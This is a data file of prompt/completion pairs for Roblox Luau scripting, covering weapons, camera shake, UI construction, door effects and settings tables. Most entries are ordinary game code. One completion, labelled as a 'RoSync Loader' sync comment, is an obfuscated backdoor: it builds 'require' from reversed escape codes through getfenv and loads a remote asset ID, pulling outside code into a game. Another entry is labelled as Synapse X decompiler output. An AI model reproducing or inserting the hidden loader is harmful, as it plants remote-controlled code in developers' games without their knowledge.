prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--// Events
|
local L_107_ = L_20_:WaitForChild('Equipped')
local L_108_ = L_20_:WaitForChild('ShootEvent')
local L_109_ = L_20_:WaitForChild('DamageEvent')
local L_110_ = L_20_:WaitForChild('CreateOwner')
local L_111_ = L_20_:WaitForChild('Stance')
local L_112_ = L_20_:WaitForChild('HitEvent')
local L_113_ = L_20_:WaitForChild('KillEvent')
local L_114_ = L_20_:WaitForChild('AimEvent')
local L_115_ = L_20_:WaitForChild('ExploEvent')
local L_116_ = L_20_:WaitForChild('AttachEvent')
local L_117_ = L_20_:WaitForChild('ServerFXEvent')
local L_118_ = L_20_:WaitForChild('ChangeIDEvent')
|
--// Services
|
local L_12_ = game:GetService('UserInputService')
local L_13_ = game:GetService('RunService')
|
---------END LEFT DOOR
|
game.Workspace.DoorValues.BackMoving.Value = true
wait(0.1)
until game.Workspace.DoorValues.BackClose.Value=="0" --how much you want to open - the lower the number, the wider the door opens.
end
game.Workspace.DoorValues.Moving.Value = false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--Other
|
neck = part:findFirstChild("Neck")
hum = char:findFirstChild("Humanoid")
|
--
|
local humanoidControl = {};
local humanoidControl_mt = {__index = humanoidControl};
function humanoidControl.new(player)
local self = {};
self.character = player.Character;
self.humanoid = self.character:WaitForChild("Humanoid");
self.hrp = self.character:WaitForChild("HumanoidRootPart");
self._lockedMoveVector = self.humanoid.MoveDirection;
self._forcedMoveVector = self.humanoid.MoveDirection;
self._mode = Enum.HumanoidControlType.Default;
return setmetatable(self, humanoidControl_mt);
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.3 -- cooldown for use of the tool again
BoneModelName = "Souls thunder" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways)
-- Next, if userCameraCreator is passed in, that is used as the cameraCreator
|
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType: Enum.CameraType?)
local newCameraCreator = nil
if legacyCameraType~=nil then
--[[
This function has been passed a CameraType enum value. Some of these map to the use of
the LegacyCamera module, the value "Custom" will be translated to a movementMode enum
value based on Dev and User settings, and "Scriptable" will disable the camera controller.
--]]
if legacyCameraType == Enum.CameraType.Scriptable then
if self.activeCameraController then
self.activeCameraController:Enable(false)
self.activeCameraController = nil
end
return
elseif legacyCameraType == Enum.CameraType.Custom then
cameraMovementMode = self:GetCameraMovementModeFromSettings()
elseif legacyCameraType == Enum.CameraType.Track then
-- Note: The TrackCamera module was basically an older, less fully-featured
-- version of ClassicCamera, no longer actively maintained, but it is re-implemented in
-- case a game was dependent on its lack of ClassicCamera's extra functionality.
cameraMovementMode = Enum.ComputerCameraMovementMode.Classic
elseif legacyCameraType == Enum.CameraType.Follow then
cameraMovementMode = Enum.ComputerCameraMovementMode.Follow
elseif legacyCameraType == Enum.CameraType.Orbital then
cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital
elseif legacyCameraType == Enum.CameraType.Attach or
legacyCameraType == Enum.CameraType.Watch or
legacyCameraType == Enum.CameraType.Fixed then
newCameraCreator = LegacyCamera
else
warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType)
end
end
if not newCameraCreator then
if VRService.VREnabled then
newCameraCreator = VRCamera
elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or
cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or
cameraMovementMode == Enum.ComputerCameraMovementMode.Default or
cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then
newCameraCreator = ClassicCamera
elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then
newCameraCreator = OrbitalCamera
else
warn("ActivateCameraController did not select a module.")
return
end
end
local isVehicleCamera = self:ShouldUseVehicleCamera()
if isVehicleCamera then
if VRService.VREnabled then
newCameraCreator = VRVehicleCamera
else
newCameraCreator = VehicleCamera
end
end
-- Create the camera control module we need if it does not already exist in instantiatedCameraControllers
local newCameraController
if not instantiatedCameraControllers[newCameraCreator] then
newCameraController = newCameraCreator.new()
instantiatedCameraControllers[newCameraCreator] = newCameraController
else
newCameraController = instantiatedCameraControllers[newCameraCreator]
if newCameraController.Reset then
newCameraController:Reset()
end
end
if self.activeCameraController then
-- deactivate the old controller and activate the new one
if self.activeCameraController ~= newCameraController then
self.activeCameraController:Enable(false)
self.activeCameraController = newCameraController
self.activeCameraController:Enable(true)
elseif not self.activeCameraController:GetEnabled() then
self.activeCameraController:Enable(true)
end
elseif newCameraController ~= nil then
-- only activate the new controller
self.activeCameraController = newCameraController
self.activeCameraController:Enable(true)
end
if self.activeCameraController then
if cameraMovementMode~=nil then
self.activeCameraController:SetCameraMovementMode(cameraMovementMode)
elseif legacyCameraType~=nil then
-- Note that this is only called when legacyCameraType is not a type that
-- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera
self.activeCameraController:SetCameraType(legacyCameraType)
end
end
end
|
--[[
CameraShaker.CameraShakeInstance
cameraShaker = CameraShaker.new(renderPriority, callbackFunction)
CameraShaker:Start()
CameraShaker:Stop()
CameraShaker:StopSustained([fadeOutTime])
CameraShaker:Shake(shakeInstance)
CameraShaker:ShakeSustain(shakeInstance)
CameraShaker:ShakeOnce(magnitude, roughness [, fadeInTime, fadeOutTime, posInfluence, rotInfluence])
CameraShaker:StartShake(magnitude, roughness [, fadeInTime, posInfluence, rotInfluence])
EXAMPLE:
local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame)
camera.CFrame = playerCFrame * shakeCFrame
end)
camShake:Start()
-- Explosion shake:
camShake:Shake(CameraShaker.Presets.Explosion)
wait(1)
-- Custom shake:
camShake:ShakeOnce(3, 1, 0.2, 1.5)
-- Sustained shake:
camShake:ShakeSustain(CameraShaker.Presets.Earthquake)
-- Stop all sustained shakes:
camShake:StopSustained(1) -- Argument is the fadeout time (defaults to the same as fadein time if not supplied)
-- Stop only one sustained shake:
shakeInstance = camShake:ShakeSustain(CameraShaker.Presets.Earthquake)
wait(2)
shakeInstance:StartFadeOut(1) -- Argument is the fadeout time
NOTE:
This was based entirely on the EZ Camera Shake asset for Unity3D. I was given written
permission by the developer, Road Turtle Games, to port this to Roblox.
Original asset link: https://assetstore.unity.com/packages/tools/camera/ez-camera-shake-33148
GitHub repository: https://github.com/Sleitnick/RbxCameraShaker
--]]
|
local CameraShaker = {}
CameraShaker.__index = CameraShaker
local profileBegin = debug.profilebegin
local profileEnd = debug.profileend
local profileTag = "CameraShakerUpdate"
local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local RAD = math.rad
local v3Zero = V3()
local CameraShakeInstance = require(script.CameraShakeInstance)
local CameraShakeState = CameraShakeInstance.CameraShakeState
local defaultPosInfluence = V3(0.15, 0.15, 0.15)
local defaultRotInfluence = V3(1, 1, 1)
CameraShaker.CameraShakeInstance = CameraShakeInstance
function CameraShaker.new(renderPriority, callback)
assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)")
assert(type(callback) == "function", "Callback must be a function")
local self = setmetatable({
_running = false;
_renderName = "CameraShaker";
_renderPriority = renderPriority;
_posAddShake = v3Zero;
_rotAddShake = v3Zero;
_camShakeInstances = {};
_removeInstances = {};
_callback = callback;
}, CameraShaker)
return self
end
function CameraShaker:Start()
if (self._running) then return end
self._running = true
local callback = self._callback
game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt)
profileBegin(profileTag)
local cf = self:Update(dt)
profileEnd()
callback(cf)
end)
end
function CameraShaker:Stop()
if (not self._running) then return end
game:GetService("RunService"):UnbindFromRenderStep(self._renderName)
self._running = false
end
function CameraShaker:StopSustained(duration)
for _,c in pairs(self._camShakeInstances) do
if (c.fadeOutDuration == 0) then
c:StartFadeOut(duration or c.fadeInDuration)
end
end
end
function CameraShaker:Update(dt)
dt = math.clamp(dt, 0, .6)
local posAddShake = v3Zero
local rotAddShake = v3Zero
local instances = self._camShakeInstances
-- Update all instances:
for i = 1,#instances do
local c = instances[i]
local state = c:GetState()
if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then
self._removeInstances[#self._removeInstances + 1] = i
elseif (state ~= CameraShakeState.Inactive) then
local shake = c:UpdateShake(dt)
posAddShake = posAddShake + (shake * c.PositionInfluence)
rotAddShake = rotAddShake + (shake * c.RotationInfluence)
end
end
-- Remove dead instances:
for i = #self._removeInstances,1,-1 do
local instIndex = self._removeInstances[i]
table.remove(instances, instIndex)
self._removeInstances[i] = nil
end
return CF(posAddShake) *
ANG(0, RAD(rotAddShake.Y), 0) *
ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z))
end
function CameraShaker:Shake(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:ShakeSustain(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
shakeInstance:StartFadeIn(shakeInstance.fadeInDuration)
return shakeInstance
end
function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
shakeInstance:StartFadeIn(fadeInTime)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
return CameraShaker
|
-- model by CatLeoYT XD --
|
local Tool = script.Parent
local speedforsmoke = 10
local CoilSound = Tool.Handle:WaitForChild("CoilSound")
Tool.Equipped:connect(function()
local Handle = Tool:WaitForChild("Handle")
local HRP = Tool.Parent:FindFirstChild("HumanoidRootPart")
local Human = Tool.Parent:FindFirstChild("Humanoid")
CoilSound:Play()
Human.WalkSpeed = Human.WalkSpeed * Tool.SpeedBoostScript.SpeedMultiplier.Value
end)
Tool.Unequipped:Connect(function()
local player = script.Parent.Parent.Parent
player.Character.Humanoid.WalkSpeed = 16
end)
|
-- INSTANCES --
|
local Ore = script:WaitForChild("Ore")
local PriceUI = script:WaitForChild("Price")
|
-- Convenient syntax for creating a tree of instanes
|
local function create(className: string)
return function(props)
local inst = Instance.new(className)
local parent = props.Parent
props.Parent = nil
for name, val in pairs(props) do
if type(name) == "string" then
inst[name] = val
else
val.Parent = inst
end
end
-- Only set parent after all other properties are initialized
inst.Parent = parent
return inst
end
end
local initialized = false
local uiRoot: any
local toast
local toastIcon
local toastUpperText
local toastLowerText
local function initializeUI()
assert(not initialized, "initializeUI called when already initialized")
uiRoot = create("ScreenGui"){
Name = "RbxCameraUI",
AutoLocalize = false,
Enabled = true,
DisplayOrder = -1, -- Appears behind default developer UI
IgnoreGuiInset = false,
ResetOnSpawn = false,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
create("ImageLabel"){
Name = "Toast",
Visible = false,
AnchorPoint = Vector2.new(0.5, 0),
BackgroundTransparency = 1,
BorderSizePixel = 0,
Position = UDim2.new(0.5, 0, 0, 8),
Size = TOAST_CLOSED_SIZE,
Image = "rbxasset://textures/ui/Camera/CameraToast9Slice.png",
ImageColor3 = TOAST_BACKGROUND_COLOR,
ImageRectSize = Vector2.new(6, 6),
ImageTransparency = 1,
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(3, 3, 3, 3),
ClipsDescendants = true,
create("Frame"){
Name = "IconBuffer",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Position = UDim2.new(0, 0, 0, 0),
Size = UDim2.new(0, 80, 1, 0),
create("ImageLabel"){
Name = "Icon",
AnchorPoint = Vector2.new(0.5, 0.5),
BackgroundTransparency = 1,
Position = UDim2.new(0.5, 0, 0.5, 0),
Size = UDim2.new(0, 48, 0, 48),
ZIndex = 2,
Image = "rbxasset://textures/ui/Camera/CameraToastIcon.png",
ImageColor3 = TOAST_FOREGROUND_COLOR,
ImageTransparency = 1,
}
},
create("Frame"){
Name = "TextBuffer",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Position = UDim2.new(0, 80, 0, 0),
Size = UDim2.new(1, -80, 1, 0),
ClipsDescendants = true,
create("TextLabel"){
Name = "Upper",
AnchorPoint = Vector2.new(0, 1),
BackgroundTransparency = 1,
Position = UDim2.new(0, 0, 0.5, 0),
Size = UDim2.new(1, 0, 0, 19),
Font = Enum.Font.GothamMedium,
Text = "Camera control enabled",
TextColor3 = TOAST_FOREGROUND_COLOR,
TextTransparency = 1,
TextSize = 19,
TextXAlignment = Enum.TextXAlignment.Left,
TextYAlignment = Enum.TextYAlignment.Center,
},
create("TextLabel"){
Name = "Lower",
AnchorPoint = Vector2.new(0, 0),
BackgroundTransparency = 1,
Position = UDim2.new(0, 0, 0.5, 3),
Size = UDim2.new(1, 0, 0, 15),
Font = Enum.Font.Gotham,
Text = "Right mouse button to toggle",
TextColor3 = TOAST_FOREGROUND_COLOR,
TextTransparency = 1,
TextSize = 15,
TextXAlignment = Enum.TextXAlignment.Left,
TextYAlignment = Enum.TextYAlignment.Center,
},
},
},
Parent = PlayerGui,
}
toast = uiRoot.Toast
toastIcon = toast.IconBuffer.Icon
toastUpperText = toast.TextBuffer.Upper
toastLowerText = toast.TextBuffer.Lower
initialized = true
end
local CameraUI: any = {}
do
-- Instantaneously disable the toast or enable for opening later on. Used when switching camera modes.
function CameraUI.setCameraModeToastEnabled(enabled: boolean)
if not enabled and not initialized then
return
end
if not initialized then
initializeUI()
end
toast.Visible = enabled
if not enabled then
CameraUI.setCameraModeToastOpen(false)
end
end
local tweenInfo = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
-- Tween the toast in or out. Toast must be enabled with setCameraModeToastEnabled.
function CameraUI.setCameraModeToastOpen(open: boolean)
assert(initialized)
TweenService:Create(toast, tweenInfo, {
Size = open and TOAST_OPEN_SIZE or TOAST_CLOSED_SIZE,
ImageTransparency = open and TOAST_BACKGROUND_TRANS or 1,
}):Play()
TweenService:Create(toastIcon, tweenInfo, {
ImageTransparency = open and TOAST_FOREGROUND_TRANS or 1,
}):Play()
TweenService:Create(toastUpperText, tweenInfo, {
TextTransparency = open and TOAST_FOREGROUND_TRANS or 1,
}):Play()
TweenService:Create(toastLowerText, tweenInfo, {
TextTransparency = open and TOAST_FOREGROUND_TRANS or 1,
}):Play()
end
end
return CameraUI
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
local v7 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
v7.Parent = p2.Parent.UpperTorso and p2;
v7:Play();
game.Debris:AddItem(v7, 5);
local v8 = l__ReplicatedStorage__1.KillFX[p1].Stars:Clone();
v8.Parent = p2.Parent.UpperTorso and p2;
v8:Play();
game.Debris:AddItem(v8, 5);
local v9 = l__ReplicatedStorage__1.KillFX[p1].Part.AT:Clone();
v9.Parent = workspace.Terrain;
v9.WorldPosition = p2.Parent.UpperTorso.Position + Vector3.new(0, 0, 0);
task.delay(0.2, function()
for v10, v11 in pairs(v9:GetChildren()) do
v11.Enabled = false;
end;
end);
local v12 = l__ReplicatedStorage__1.KillFX[p1].Sonny:Clone();
v12.Parent = workspace.Ignored.Animations;
v12.CFrame = CFrame.new(p2.Parent.UpperTorso.CFrame.p) * CFrame.new(0, 0.5, 0);
game.Debris:AddItem(v12, 4);
delay(0, function()
for v13 = 1, 0, -0.05 do
v12.KO.Image.UIGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.5, v13), NumberSequenceKeypoint.new(1, 1) });
task.wait(0.01);
end;
task.wait(1);
for v14 = 0, 1, 0.025 do
v12.KO.Image.UIGradient.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.5, v14), NumberSequenceKeypoint.new(1, 1) });
task.wait(0.01);
end;
end);
task.delay(0.1, function()
l__ReplicatedStorage__1.KillFX[p1].FireEffect:Clone().Parent = p2.Parent.UpperTorso;
for v15, v16 in pairs(p2.Parent:GetDescendants()) do
if v16:IsA("Basepart") and not v16:IsA("MeshPart") then
v16.Color = Color3.fromRGB(0, 0, 0);
elseif v16:IsA("Shirt") or v16:IsA("Pants") then
v16.Color3 = Color3.fromRGB(0, 0, 0);
elseif v16:IsA("Mesh") then
v16.VertexColor = Color3.fromRGB(0, 0, 0);
elseif v16:IsA("MeshPart") then
v16.TextureID = "";
v16.Color = Color3.fromRGB(0, 0, 0);
end;
end;
end);
return nil;
end;
return v1;
|
-- Table used to hold Compat objects in memory.
|
local strongRefs = {}
|
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/pretty-format/src/index.ts
-- /**
-- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
-- *
-- * This source code is licensed under the MIT license found in the
-- * LICENSE file in the root directory of this source tree.
-- */
| |
--[=[
@tag Component Instance
@within Component
@prop Instance Instance
A reference back to the _Roblox_ instance from within a _component_ instance. When
a component instance is created, it is bound to a specific Roblox instance, which
will always be present through the `Instance` property.
```lua
MyComponent.Started:Connect(function(component)
local robloxInstance: Instance = component.Instance
print("Component is bound to " .. robloxInstance:GetFullName())
end)
```
]=]
|
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local Signal = require(script.Parent.Signal)
local Symbol = require(script.Parent.Symbol)
local Trove = require(script.Parent.Trove)
local Promise = require(script.Parent.Promise)
local IS_SERVER = RunService:IsServer()
local DEFAULT_ANCESTORS = { workspace, game:GetService("Players") }
local DEFAULT_TIMEOUT = 60
|
--// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load
|
local CORE_LOADING_ORDER = table.freeze {
--// Nearly all modules rely on these to function
"Logs";
"Variables";
"Functions";
--// Core functionality
"Core";
"Remote";
"Process";
--// Misc
"Admin";
"HTTP";
"Anti";
"Commands";
}
|
-- Get the players set settings
|
local plr
local wasEquipped = false
if script.Parent.Parent.ClassName == "Backpack" then
plr = script.Parent.Parent.Parent
else
wasEquipped = true
plr = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
end
local setSkin = game.ReplicatedStorage.RevolverSkins:FindFirstChild(plr.Settings.SetRevolverSkin.Value)
|
--This module is for any client FX related to the lab debris
|
local DoorFX = {}
local tweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local InitialModelCFrames = {}
function DoorFX.OPEN(door)
if not door then return end
local TweenInf = TweenInfo.new(.5, Enum.EasingStyle.Linear)
door.PurchaseDoor.Sound:Play()
local Components = door:GetChildren()
for _, Component in pairs (Components) do
if not Component:IsA("Model") then continue end
local descendants = Component:GetChildren()
for _, item in pairs (descendants) do
if item:IsA("BasePart") then
coroutine.wrap(function()
tweenService:Create(item, TweenInf, {Transparency = 1}):Play()
end)()
end
end
end
end
function DoorFX.CLOSE(door)
if not door then return end
local Components = door:GetChildren()
for _, Component in pairs (Components) do
if Component:IsA("Model") then
Component.PrimaryPart.CFrame = InitialModelCFrames[Component] or Component.PrimaryPart.CFrame
--this errors when the module is called for some reason so thats why its like that
end
end
end
return DoorFX
|
-- << CONFIGURATION >>
|
local rank = "Admin"
local rankType = "Server" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932
local successColor = Color3.fromRGB(0,255,0)
local errorColor = Color3.fromRGB(255,0,0)
|
-- Creates a vector which represents a direction for a projectile to travel based on the cameras CFrame
-- @param CFrame cameraCFrame
-- @return Vector3
|
function SpreadSimulator:GetSpreadDirection(cameraCFrame)
-- Roll random angle
local randomZ = self.rng:NextNumber(0,360)
-- Make cframe based on random angle
local randomAngleCFrame = CFrame.Angles(0,0,-randomZ)
-- Rotate camera cframe
local rotatedCFrame = cameraCFrame * randomAngleCFrame
-- Get a random point based on the circumference
local randomMagnitude = self.rng:NextNumber(-self.currentSpread,self.currentSpread)/2
-- Make spread vector based on current spread and the random point on circumference
local spreadDirection = rotatedCFrame.UpVector * (self.currentSpread * randomMagnitude)
return cameraCFrame.LookVector * Spread_Distance_From_Camera + spreadDirection
end
|
-- Killpart.BrickColor = BrickColor.new("Bright red")
-- end
--end)
| |
-- ====================
-- INPUTS
-- List of inputs that can be customized
-- ====================
|
Keyboard = {
Reload = Enum.KeyCode.R;
HoldDown = Enum.KeyCode.H;
Inspect = Enum.KeyCode.F;
Switch = Enum.KeyCode.V;
ToogleAim = Enum.KeyCode.T;
Melee = Enum.KeyCode.Q;
AltFire = Enum.KeyCode.C;
};
Controller = {
Fire = Enum.KeyCode.ButtonR1;
Reload = Enum.KeyCode.ButtonX;
HoldDown = Enum.KeyCode.DPadUp;
Inspect = Enum.KeyCode.DPadDown;
Switch = Enum.KeyCode.DPadRight;
ToogleAim = Enum.KeyCode.ButtonL1;
Melee = Enum.KeyCode.ButtonR3;
AltFire = Enum.KeyCode.DPadRight;
};
|
-- ScreenSpace -> WorldSpace. Taking a screen height that you want that object to be
-- and a world height that is the size of that object, and returning the position to
-- put that object at to satisfy those.
|
function ScreenSpace.ScreenToWorldByHeight(x, y, screenHeight, worldHeight)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
--
local depth = - (sy * worldHeight) / (screenHeight * 2 * hfactor)
--
local xf, yf = x/sx*2 - 1, y/sy*2 - 1
local xpos = xf * -wfactor * depth
local ypos = yf * hfactor * depth
--
return Vector3.new(xpos, ypos, depth)
end
|
-- Update when the Status signal changes
|
adPortal:GetPropertyChangedSignal("Status"):Connect(onAdStatusChange)
|
--script.Parent.Sign.SurfaceGui.TextLabel.Text = "1 Old Univ Av"
--script.Parent.Parent.R1.BusA.Disabled = false
--script.Parent.Parent.R1.BusB.Disabled = true
|
end
if script.Parent.Value.Value == 2 then
|
----------------------------------------------------------------------------------------------------
------------------=[ Status UI ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableStatusUI = false --- Don't disabled it...
,RunWalkSpeed = 22
,NormalWalkSpeed = 16
,SlowPaceWalkSpeed = 8
,CrouchWalkSpeed = 8
,ProneWalksSpeed = 4
,EnableHunger = false --- Hunger and Thirst system
,HungerWaitTime = 25
,CanDrown = false --- Welp.. That's it
,EnableStamina = false --- Weapon Sway based on stamina
,RunValue = 1 --- Stamina consumption
,StandRecover = .25 --- Stamina recovery while stading
,CrouchRecover = .5 --- Stamina recovery while crouching
,ProneRecover = 1 --- Stamina recovery while lying
,EnableGPS = false --- GPS shows your allies around you
,GPSdistance = 150
|
-- Initialize the tool
|
local SurfaceTool = {
Name = 'Surface Tool';
Color = BrickColor.new 'Bright violet';
-- Default options
Surface = 'All';
-- State
CurrentSurfaceType = nil;
-- Signals
OnSurfaceChanged = Signal.new();
OnSurfaceTypeChanged = Signal.new();
}
SurfaceTool.ManualText = [[<font face="GothamBlack" size="16">Surface Tool 🛠</font>
Lets you change the surfaces of parts.<font size="6"><br /></font>
<b>TIP: </b>Click a part's surface to select it quickly.]]
|
--[[ Last synced 7/31/2021 05:13 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--[[
This is the DataStore version.
The advantage to DataStore is that you can use any type of number.
The disadvantage is that it can not be used to create a global leaderboard.
--]]
| |
-- A combo of table.find and table.keyOf -- This first attempts to find the ordinal index of your value, then attempts to find the lookup key if it can't find an ordinal index.
|
Table.indexOf = function (tbl, value)
local fromFind = table.find(tbl, value)
if fromFind then return fromFind end
return Table.keyOf(tbl, value)
end
|
--[[
DO NOT MODIFY. This file is auto-generated.
Plugin: https://www.roblox.com/library/2307140444/Object-to-Lua
]]
|
return function ()
local Cmdr = Instance.new("ScreenGui")
Cmdr.DisplayOrder = 1000
Cmdr.Name = "Cmdr"
Cmdr.ResetOnSpawn = false
local Frame = Instance.new("ScrollingFrame")
Frame.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Frame.BackgroundTransparency = 0.4
Frame.BorderSizePixel = 0
Frame.CanvasSize = UDim2.new(0, 0, 0, 100)
Frame.Name = "Frame"
Frame.Position = UDim2.new(0.025, 0, 0, 25)
Frame.ScrollBarThickness = 6
Frame.ScrollingDirection = Enum.ScrollingDirection.Y
Frame.Selectable = false
Frame.Size = UDim2.new(0.95, 0, 0, 50)
Frame.Visible = false
Frame.Parent = Cmdr
local Autocomplete = Instance.new("Frame")
Autocomplete.BackgroundColor3 = Color3.fromRGB(59, 59, 59)
Autocomplete.BackgroundTransparency = 0.5
Autocomplete.BorderSizePixel = 0
Autocomplete.Name = "Autocomplete"
Autocomplete.Position = UDim2.new(0, 167, 0, 75)
Autocomplete.Size = UDim2.new(0, 200, 0, 200)
Autocomplete.Visible = false
Autocomplete.Parent = Cmdr
local UIListLayout = Instance.new("UIListLayout")
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout.Parent = Frame
local Line = Instance.new("TextLabel")
Line.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Line.BackgroundTransparency = 1
Line.Font = Enum.Font.Code
Line.Name = "Line"
Line.Size = UDim2.new(1, 0, 0, 20)
Line.TextColor3 = Color3.fromRGB(255, 255, 255)
Line.TextSize = 14
Line.TextXAlignment = Enum.TextXAlignment.Left
Line.Parent = Frame
local UIPadding = Instance.new("UIPadding")
UIPadding.PaddingBottom = UDim.new(0, 10)
UIPadding.PaddingLeft = UDim.new(0, 10)
UIPadding.PaddingRight = UDim.new(0, 10)
UIPadding.PaddingTop = UDim.new(0, 10)
UIPadding.Parent = Frame
local Entry = Instance.new("Frame")
Entry.BackgroundTransparency = 1
Entry.LayoutOrder = 999999999
Entry.Name = "Entry"
Entry.Size = UDim2.new(1, 0, 0, 20)
Entry.Parent = Frame
local UIListLayout2 = Instance.new("UIListLayout")
UIListLayout2.SortOrder = Enum.SortOrder.LayoutOrder
UIListLayout2.Parent = Autocomplete
local Title = Instance.new("Frame")
Title.BackgroundColor3 = Color3.fromRGB(59, 59, 59)
Title.BackgroundTransparency = 0.2
Title.BorderSizePixel = 0
Title.LayoutOrder = -2
Title.Name = "Title"
Title.Size = UDim2.new(1, 0, 0, 40)
Title.Parent = Autocomplete
local Description = Instance.new("Frame")
Description.BackgroundColor3 = Color3.fromRGB(59, 59, 59)
Description.BackgroundTransparency = 0.2
Description.BorderSizePixel = 0
Description.LayoutOrder = -1
Description.Name = "Description"
Description.Size = UDim2.new(1, 0, 0, 20)
Description.Parent = Autocomplete
local TextButton = Instance.new("TextButton")
TextButton.BackgroundColor3 = Color3.fromRGB(59, 59, 59)
TextButton.BackgroundTransparency = 0.5
TextButton.BorderSizePixel = 0
TextButton.Font = Enum.Font.Code
TextButton.Size = UDim2.new(1, 0, 0, 30)
TextButton.Text = ""
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextSize = 14
TextButton.TextXAlignment = Enum.TextXAlignment.Left
TextButton.Parent = Autocomplete
local TextBox = Instance.new("TextBox")
TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextBox.BackgroundTransparency = 1
TextBox.ClearTextOnFocus = false
TextBox.Font = Enum.Font.Code
TextBox.LayoutOrder = 999999999
TextBox.Position = UDim2.new(0, 140, 0, 0)
TextBox.Size = UDim2.new(1, 0, 0, 20)
TextBox.Text = "x"
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextSize = 14
TextBox.TextXAlignment = Enum.TextXAlignment.Left
TextBox.Parent = Entry
local TextLabel = Instance.new("TextLabel")
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1
TextLabel.Font = Enum.Font.Code
TextLabel.Size = UDim2.new(0, 133, 0, 20)
TextLabel.Text = ""
TextLabel.TextColor3 = Color3.fromRGB(255, 223, 93)
TextLabel.TextSize = 14
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
TextLabel.Parent = Entry
local Field = Instance.new("TextLabel")
Field.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Field.BackgroundTransparency = 1
Field.Font = Enum.Font.SourceSansBold
Field.Name = "Field"
Field.Size = UDim2.new(0, 37, 1, 0)
Field.Text = "from"
Field.TextColor3 = Color3.fromRGB(255, 255, 255)
Field.TextSize = 20
Field.TextXAlignment = Enum.TextXAlignment.Left
Field.Parent = Title
